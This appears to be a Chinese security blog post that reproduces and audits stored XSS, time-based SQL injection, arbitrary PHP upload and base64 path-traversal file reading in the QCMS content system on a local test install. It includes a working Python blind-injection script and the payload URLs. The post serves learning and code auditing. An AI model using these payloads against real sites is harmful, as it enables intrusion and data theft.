qcms是一款比较小众的cms,最近更新应该是17年,代码框架都比较简单,但问题不少倒是。。。

网站介绍

QCMS是一款小型的网站管理系统。拥有多种结构类型,包括:ASP+ACCESS、ASP+SQL、PHP+MYSQL

采用国际标准编码(UTF-8)和中文标准编码(GB2312)
功能齐全,包括文章管理,产品展示,销售,下载,网上社区,博客,自助表单,在线留言,网上投票,在线招聘,网上广告等多种插件功能

程序和网页代码分离

支持生成Google、Baidu的网站地图

建站

说实话,官网写的是4.0.,安装确实3.0,然后下面写的是2.0,确实让人摸不清头脑

手动创建数据库即可,需要注意数据库要用MySQL5.0版本,向上会报错

数据库:qcms

后台账号密码: admin admin

漏洞复现

XSS

留言处是XSS重灾区,首当其冲就有一个

按照如图所示构造payload

提交之后无需审核,直接先弹个窗。。

登录后台再弹一个。。

查看数据库,没有过滤直接插入

SQLlike注入

在后台下载管理处

构造payload

http://127.0.0.1/backend/down.html?title=1';select if(ascii(substr((select database()), 1, 1))-113, 1, sleep(5));%23

这里直接附上简单脚本

# !/usr/bin/python3
# -*- coding:utf-8 -*-
# author: Forthrglory
import requests

def getCookie():
    url = 'http://127.0.0.1/admin.php'
    data = {
        'username':'admin',
        'password':'admin'
    }

    session = requests.session()
    res = session.post(url, data)

    return requests.utils.dict_from_cookiejar(res.cookies)

def getDatabase(url, arr, cookies):

    str = ''
    requests.session()

    for i in range(1, 11):
        for j in arr:
            data = url + '?title=1\';select if(ascii(substr((select database()), %s, 1))-%s, 1, sleep(5));%%23' % (i, ord(j))
            # print(data)
            res = requests.get(url=data, cookies=cookies)
            # print(res.elapsed.total_seconds())
            if(res.elapsed.total_seconds() > 5):
                str += j
                print(str)
                break
    print('database=' + str)


if __name__ == '__main__':
    url = 'http://127.0.0.1/backend/down.html'
    arr = []

    for i in range(48, 123):
        arr.append(chr(i))

    cookies = getCookie()
    print(cookies)
    getDatabase(url, arr, cookies)

运行截图

任意文件上传


漏洞产生点在系统设置上传logo处

构造一个test.php文件,内容为<?php phpinfo();,点击上传

可以看到,上传后给出了路径

访问文件,发现上传成功

需要注意的是,每次上传后会将内容的hash保存到数据库中,如果再次上传时会检查数据库内容是否有重复,有则拒绝上传,因此如果第一遍上传有误,需要对内容进行简单的修改才能上传。

任意文件读取

用seay扫了一下后发现的漏洞

漏洞在后台模板代码预览处,构造payload例如

http://127.0.0.1/backend/template/tempview/Li4vLi4vLi4vQ29udHJvbGxlci9hZG1pbi5waHA=.html

即可读取Controller文件下admin.php文件源码

跟源码对比下,确实是读到了

代码审计

代码相对来说比较简单,先看结构

Install 安装文件
Lib 系统文件
Static 静态文件
System 控制器+视图

找到路由定义,得到规则

# http://127.0.0.1/控制器/方法/渲染模板


private function _fetch_url(){
        $url = '';
        $controller_arr = array();
        $url_arr = explode('.', str_replace(SITEPATH, '/', $_SERVER['REQUEST_URI']));

        $uri = ($url_arr[0] == '/') ? '/' : substr($url_arr[0], 1);
        if (strpos ( $uri, 'poweredByQesy' ) !== false) {
            echo "powered By QCMS  v ".QCMS_VERSION."<br>\n";
            echo "Auth : Qesy <br>\n";
            echo "Email : 762264@qq.com <br>\n";            
            echo "Your Ip : " . ip () . "<br>\n";
            echo "Date : " . date ( 'Y-m-d H:i:s' ) . "<br>\n";
            echo "UserAgent : " . $_SERVER ['HTTP_USER_AGENT'] . "<br>\n";
            exit ();
        }
        if($uri == '/'){                
            $controller_arr['name'] = $this->_default['default_controller'];
            $controller_arr['url'] = BASEPATH.'Controller/'.$this->_default['default_controller'].EXT;
            $controller_arr['method'] = $this->_default['default_function'];
        }else{          
            $uri_arr = explode($this->_default['url'], $uri);

            foreach($uri_arr as $key => $val){  
                if(empty($val))continue;         
                $file = $url.$val;      
                $url .= $val.'/';
                if(file_exists(BASEPATH.'Controller/'.$file.EXT)){          
                    $controller_arr['name'] = $val;
                    $controller_arr['url'] = BASEPATH.'Controller/'.$file.EXT;
                    $fun_url = substr($uri, strlen($file)+1);   
                    $fun_arr = explode($this->_default['url'], $fun_url);       
                    $controller_arr['method'] = empty($fun_arr[0]) ? 'index' : $fun_arr[0];
                    $controller_arr['fun_arr'] = array_splice($fun_arr, 1);                 
                    break;
                }       
            }
        }var_dump($controller_arr);
        return $controller_arr;
    }

接下来开始漏洞审计

XSS

根据url跟踪到/System/Controller/guest.php->index_Action方法

public function index_Action($page = 0){
        if(!empty($_POST)){
            foreach($_POST as $k => $v){
                $_POST[$k] = trim($v);
            }
            if(empty($_POST['title'])){
                exec_script('alert("标题不能为空");history.back();');exit;
            }
            if(empty($_POST['name'])){
                exec_script('alert("姓名不能为空");history.back();');exit;
            }
            if(empty($_POST['email'])){
                exec_script('alert("邮箱不能为空");history.back();');exit;
            }
            if(empty($_POST['content'])){
                exec_script('alert("留言内容不能为空");history.back();');exit;
            }
            $result = $this->_guestObj->insert(array('title' => $_POST['title'], 'name' => $_POST['name'], 'email' => $_POST['email'], 'content' => $_POST['content'], 'addtime' => time()));
            if($result){
                exec_script('window.location.href="'.url(array('guest', 'index')).'"');exit;
            }else{
                exec_script('alert("留言失败");history.back();');exit;
            }
        }
    ......
}

主要代码如上,其中_guestObj参数为/lib/Model/QCMS_Guest类,跟踪insert方法

public function insert($insert_arr = array(), $tb_name = 0){
        return $this->exec_insert($insert_arr, $tb_name);
    }

继续跟踪至/lib/Config/DB_pdo类

public function exec_insert($insert_arr = array(), $tb_name = 0, $isDebug = 0){
        $tb_name = empty($tb_name) ? 0 : $tb_name;
        $value_str = parent::get_sql_insert($insert_arr);
        $sql = "INSERT INTO ".parent::$s_dbprefix[parent::$s_dbname].$this->p_table_name[$tb_name].$value_str."";
        ! $isDebug || var_dump ( $sql );
        return $this->q_exec($sql);
    }

将参数进行拼接后执行,其中在执行前调用了get_sql_insert方法,继续跟踪

public function get_sql_insert($insert_arr = array()){
        $insert_arr_t = array();
        $value_arr_t = array();
        if(is_array($insert_arr)){
            foreach($insert_arr as $key => $val){
                $insert_arr_t[] = $key;
                if(!get_magic_quotes_gpc()){
                    $value_arr_t[] = '\''.addslashes($val).'\'';
                }else{
                    $value_arr_t[] = '\''.$val.'\'';
                }

            }
            return " (".implode(',', $insert_arr_t).") values (".implode(',', $value_arr_t).")";            
        }       
    }

该方法对单双引号和反斜杠转义,但对尖括号并没有过滤,所以代码直接插入到了数据库中

调用顺序为

Guest->index_action()
    QCMS_Guest->insert()
        Db_pdo->exec_insert()
            Db->get_sql_insert() # 过滤
SQL

根据url找到/System/Controller/backend/down.php->index_Action()方法

public function index_Action($page = 0){
        $condStr = 0;
        if(isset($_GET['title']) && $_GET['title'] != ''){
            $condArr[] = " title LIKE '%".$_GET['title']."%'";
        }
        $condStr = empty($condArr) ? '' : ' WHERE '.implode(' && ', $condArr);
        $count = 0;
        $offset = ($page <= 0) ? 0 : ($page - 1) * $this->pageNum;
        $temp['rs'] = $this->_downObj->selectAll(array($offset, $this->pageNum), $count, $condStr,  '*');
        $temp['page'] = $this->page_bar($count[0]['count'], $this->pageNum, url(array('backend', 'news', 'index', '{page}')), 9, $page);
        $temp['cateRs'] = $this->_cateObj->select('', 'id, name', 0, 'id');
        $this->load_view('backend/down/index', $temp);
    }

直接将参数拼接至语句中,继续跟踪QCMS_Down->selectAll()

public function selectAll($limit = '', &$count, $cond_arr='', $field = '*', $sort = array('id' => 'DESC'), $table = 0){
        $count = $this->exec_select($cond_arr, 'COUNT(*) AS count', $table,  0, '', '', 0);
        return $this->exec_select($cond_arr, $field, $table,  0, $limit, $sort, 0);
    }

第一步查询数据的数量,第二步才是注入点

Db_pdo->exec_select()

public function exec_select($cond_arr=array(), $field='*', $tb_name = 0,  $index = 0, $limit = '', $sort='', $fetch = 0, $isDebug = 0){
        $tb_name = empty($tb_name) ? 0 : $tb_name;
        $limit_str = !is_array($limit) ? $limit : ' limit '.$limit[0].','.$limit[1].'';
        $sort_str = $this->sort($sort);
        $sql = "SELECT ".$field." FROM ".parent::$s_dbprefix[parent::$s_dbname].$this->p_table_name[$tb_name].$this->get_sql_cond($cond_arr).$sort_str.$limit_str."";
        ! $isDebug || var_dump ( $sql );
        if($fetch == 1){
            return $this->q_select($sql, 1);
        }
        if(empty($index)){
            return $this->q_select($sql);
        }else{
            return $this->set_index($this->q_select($sql), $index);
        }
    }

可以看到在我们的数据最后进行拼接之前还经历了get_sql_cond方法的过滤,跟进去

public function get_sql_cond($cond_arr = ''){
        if(empty($cond_arr)){
            return '';
        }
        if(!is_array($cond_arr)){
            return $cond_arr;
        }
        $cond_arr_t = array();
        foreach ($cond_arr as $key => $val){
            if(is_array($val) && empty($val)){
                continue;
            }
            if(is_array($val)){
                $cond_arr_t[] = $key." in (".self::get_sql_cond_by_in($val).")";
            }else{
                if(!get_magic_quotes_gpc()){
                    $cond_arr_t[] = $key."='".addslashes($val)."'";
                }else{
                    $cond_arr_t[] = $key."='".$val."'";
                }

            }           
        }
        return empty($cond_arr_t) ? '' : ' WHERE '.implode(' && ', $cond_arr_t);
    }

匪夷所思的地方来了,当我们传入的数据不为数组时,函数直接返回原始数据,并没有进行过滤,从而导致了注入

调用顺序为

down.php->index_Action()
    QCMS_Down.php->selectAll()
        Db_pdo.php->exec_select()
            Db.php->get_sql_cond() # 过滤

注入点还有比如新闻列表的搜索、产品列表的搜索等几个地方,不过都大同小异,因此不再赘述

任意文件上传

找到调用方法/System/Controller/backend/index.php->ajaxupload_Action()

public function ajaxupload_Action(){
        $result = $this->upload($_FILES['filedata']);
        $arr = array();
        if($result < 0){
            $arr['error'] = 1;
            $arr['msg'] = '上传失败';
            $arr['url'] = '';
        }else{
            $arr['error'] = 0;
            $arr['msg'] = '上传成功';
            $arr['url'] = $result;
        }
        echo json_encode($arr);
    }

跟进Lib/Config/Controllers.php/ControllersAdmin->upload()

public function upload($file_arr = array()){
        $this->_files = $this->load_model('QCMS_Files');
        $uploadObj = $this->load_class('upload');
        $pic = file_get_contents($file_arr['tmp_name']);
        $hash = hash('sha1', $pic);
        $rs = $this->_files->selectOne(array('hash' => $hash));
        if(!empty($rs)){
            $result = $rs['path'];
        }else{
            $result = $uploadObj->upload_file($file_arr);
            if($result < 0){
            }else{
                $this->_files->insert(array(
                        'filename'  =>  $file_arr['name'],
                        'path'      =>  $result,
                        'mimetype'  =>  $file_arr['type'],
                        'ext'       =>  pathinfo($file_arr['name'], PATHINFO_EXTENSION),
                        'size'      =>  $file_arr['size'],
                        'user_id'   =>  $this->id,
                        'addtime'   =>  time(),
                        'hash'      =>  $hash,
                ));
            }
        }
        return $result;
    }

可以看到,方法将内容的hash储存到数据库中,如果存在相同数据,则直接将路径返回,如果不存在,才会进行上传

跟进Lib/Helper/upload.php->upload_file()方法

public function upload_file($file_arr){  
        $ext =  substr(strrchr($file_arr['name'], '.'), 1); 
        if(!is_uploaded_file($file_arr['tmp_name']) || !in_array($file_arr['type'], $this->_type)){
            return -1;
        }
        if($file_arr['size'] > ($this->_size * 1024 * 1024)){
            return -2;
        }
        return self::_move_file($file_arr['tmp_name'], $ext);
    }

如果文件不是post方式上传的或者type不在白名单内,返回-1,然而系统给出的白名单是这些:

private $_type = array(
    'image/pjpeg', 
    'image/jpeg', 
    'image/gif', 
    'image/png', 
    'image/x-png', 
    'image/bmp', 
    'application/x-shockwave-flash', 
    'application/octet-stream', 
    'image/vnd.adobe.photoshop');

php文件的type是这个

Content-Type: application/octet-stream

这算哪门子白名单。。。

继续跟进同类的_move_file方法

private function _move_file($file, $ext){
        $url = $this->_dir.$this->_name.'.'.$ext;
        if(!is_dir($this->_dir)){
            mkdir($this->_dir, 0777, true);
        }
        if (!move_uploaded_file($file, $url)){
            return -3;
        }
        return SITEPATH.$url;
    }

文件名在初始化的时候被赋值为一个随机数,然而文件的路径会被返回给模板并渲染出来

$this->_name =  uniqid(rand(100,999)).rand(1,9);
`

然后就被上传了上去,甚至后缀都是用的原本文件的后缀而不是判断类型然后拼接.jpg.png这样

调用顺序为:

index.php->ajaxupload_Action()
    Controllers/ControllersAdmin->upload()
        upload.php->upload_file()
            upload.php->_move_file()
任意文件读取

找到调用方法System->Controller->backend->template.php

public function tempview_Action($tempname = ''){
        if(empty($tempname)){
            exec_script('alert("模版文件不能为空");history.back();');exit;
        }
        $sysObj = $this->load_model('QCMS_Sys');
        $sysRs = $sysObj->selectOne('', 'template_id');
        $templateRs = $this->_tempObj->selectOne(array('id' => $sysRs['template_id']));
        $tempname = base64_decode($tempname);
        var_dump($templateRs['name']);
        $result = file_get_contents(BASEPATH.'view/template/'.$templateRs['name'].'/'.$tempname);
        $str = str_replace(array("\n"), array('<br>'), htmlspecialchars($result));
        $temp['str'] = $str;
        $this->load_view('backend/template/tempview', $temp);
    }

可以看到当传入参数后,对参数进行base64解码,然后读取文件内容,对结果进行过滤后返回到渲染界面,中间并没有对传入的参数进行任何过滤,传入参数为

../../../Controller/admin.php

base64编码后即可读取源码

后记

自从上了大学开始学习安全,也有几年了,审计代码也审计了几个cms,我想整合一下这些cms,做成一个平台之类的,给刚入门的学弟学妹们练练,也不要求多厉害多强大怎样,就想做一个入门训练之类的,顺便锻炼一下自己,以后有机会我再分享出来,有需要的话(可能并不会维护~逃)

点击收藏 | 0 关注 | 1
登录 后跟帖